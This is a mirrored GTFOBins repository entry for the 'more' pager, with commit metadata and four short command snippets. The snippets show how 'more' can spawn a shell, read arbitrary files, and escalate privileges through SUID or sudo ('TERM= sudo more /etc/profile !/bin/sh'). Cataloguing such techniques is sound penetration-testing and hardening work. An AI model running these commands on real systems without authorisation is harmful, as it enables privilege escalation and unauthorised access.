1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-07 20:50:38 +02:00
GTFOBins.github.io/_gtfobins/more.md
Aj Dumanhug fbd887e91a
Remove -E option of sudo for more
Note added by @cyrus-and: this only works because `sudo` preserves `TERM` nevertheless (unless explicitly blacklisted).
2020-06-10 22:48:48 +02:00

250 B

functions
shell file-read suid sudo
code
TERM= more /etc/profile !/bin/sh
code
more file_to_read
code
./more file_to_read
code
TERM= sudo more /etc/profile !/bin/sh